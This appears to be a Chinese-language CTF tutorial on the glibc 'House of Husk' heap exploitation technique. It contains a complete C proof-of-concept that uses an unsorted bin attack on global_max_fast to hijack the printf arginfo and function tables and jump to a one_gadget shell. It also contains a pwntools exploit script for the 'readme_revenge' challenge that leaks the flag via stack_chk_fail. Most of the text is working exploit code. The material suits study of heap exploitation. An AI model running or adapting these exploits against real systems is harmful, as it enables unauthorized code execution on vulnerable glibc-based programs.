1、house of husk
源码分析见参考链接1,可以理解为 printf 针对不同的第一个格式化字符的 vtable,目标就是满足执行此处的条件,同时修改 table 中格式化字符对应的指针处为 onegadget,最后 printf("%格式化字符", 0) 来触发。具体调试 poc.c :
/**
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3afc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3b1940
#define PRINTF_FUNCTABLE 0x3b4658
#define PRINTF_ARGINFO 0x3b0870
#define ONE_GADGET 0xdeec2
int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet
/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lxn", libc_base);
/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('S' - 2) * 8) = libc_base + ONE_GADGET;
//*(unsigned long*)(a[1] + ('S' - 2) * 8) = libc_base + ONE_GADGET;
//now __printf_arginfo_table['X'] = one_gadget;
/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */
/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);//__printf_arginfo_table => one_gadget
/* ignite! */
printf("%S", 0);
return 0;
}
由于利用到的两个 table 的地址在 libc 中均在 main_arena 下面,所以可以采用 xx attack 打 global_max_fast,使计算好 size 的 fastbin free 到目标地址,将堆地址写到这两个地方,其中 printf_arginfo_tabel 对应的位置布置好 onegadget,即 getshell。如果利用 printf_function_table 同样原理,布置 onegadget 的时候如下即可:
//*(unsigned long*)(a[1] + ('S' - 2) * 8) = libc_base + ONE_GADGET;
效果:
2、例题 readme_revenge
程序逻辑很简单,漏洞点肯定在 printf 里。因为程序会调用 arginfo_table[‘s’] 处的函数,所以在这里布置为 stack_chk_fail 的地址,其第一个参数 argv 也在下面可以覆盖到,即 flag 的地址,这样就能通过 stack_chk_fail 来打印 flag。
调试的时候加上源码调试。
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='info')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./readme_revenge')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./readme_revenge')
else:
libc = ELF('./libc_local')
p = remote('f.buuoj.cn',20173)
printf_function_table = 0x6b7a28
printf_arginfo_table = 0x6b7aa8
input_addr = 0x6b73e0
stack_chk_fail = 0x4359b0
flag_addr = 0x6b4040
argv_addr = 0x6b7980
def exp():
#leak libc
#gdb.attach(p,'b* 0x400a51')
payload = p64(flag_addr)
payload = payload.ljust(0x73*8,'\x00')
payload += p64(stack_chk_fail)
payload = payload.ljust(argv_addr-input_addr,'\x00')
payload += p64(input_addr)#arg
payload = payload.ljust(printf_function_table-input_addr,'\x00')
payload += p64(1)#func not null
payload = payload.ljust(printf_arginfo_table-input_addr,'\x00')
payload += p64(input_addr)#arginfo func
#raw_input()
p.sendline(payload)
p.interactive()
exp()